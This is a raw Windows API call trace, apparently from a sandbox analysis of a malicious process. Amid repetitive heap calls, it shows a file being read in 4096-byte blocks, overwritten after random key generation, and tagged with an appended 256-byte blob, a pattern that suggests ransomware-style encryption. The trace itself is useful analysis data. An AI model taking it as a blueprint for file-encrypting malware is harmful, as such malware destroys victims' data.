[0088.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.678] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.679] GetProcessHeap () returned 0x540000 [0088.679] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.679] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.680] GetProcessHeap () returned 0x540000 [0088.680] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.681] GetProcessHeap () returned 0x540000 [0088.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.682] GetProcessHeap () returned 0x540000 [0088.682] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.682] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.682] WriteFile (in: hFile=0x9cc, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.683] WriteFile (in: hFile=0x9cc, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.683] GetProcessHeap () returned 0x540000 [0088.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.683] GetProcessHeap () returned 0x540000 [0088.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.683] GetProcessHeap () returned 0x540000 [0088.683] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.683] CloseHandle (hObject=0x9cc) returned 1 [0088.683] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 149 [0088.683] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.683] ReadFile (in: hFile=0x9d0, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.683] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.683] GetProcessHeap () returned 0x540000 [0088.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.683] GetProcessHeap () returned 0x540000 [0088.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.683] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.683] GetProcessHeap () returned 0x540000 [0088.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.683] ReadFile (in: hFile=0x9d0, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.811] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.812] WriteFile (in: hFile=0x9d0, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.812] GetProcessHeap () returned 0x540000 [0088.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.812] GetProcessHeap () returned 0x540000 [0088.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.812] GetProcessHeap () returned 0x540000 [0088.812] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.812] GetProcessHeap () returned 0x540000 [0088.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.812] GetProcessHeap () returned 0x540000 [0088.812] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.812] GetProcessHeap () returned 0x540000 [0088.812] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.813] GetProcessHeap () returned 0x540000 [0088.813] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.814] GetProcessHeap () returned 0x540000 [0088.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.815] GetProcessHeap () returned 0x540000 [0088.815] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.816] GetProcessHeap () returned 0x540000 [0088.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.817] GetProcessHeap () returned 0x540000 [0088.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.817] GetProcessHeap () returned 0x540000 [0088.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.817] GetProcessHeap () returned 0x540000 [0088.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.817] GetProcessHeap () returned 0x540000 [0088.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.817] GetProcessHeap () returned 0x540000 [0088.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.817] SetFilePointerEx (in: hFile=0x9d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.817] WriteFile (in: hFile=0x9d0, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.817] WriteFile (in: hFile=0x9d0, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.817] GetProcessHeap () returned 0x540000 [0088.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.817] GetProcessHeap () returned 0x540000 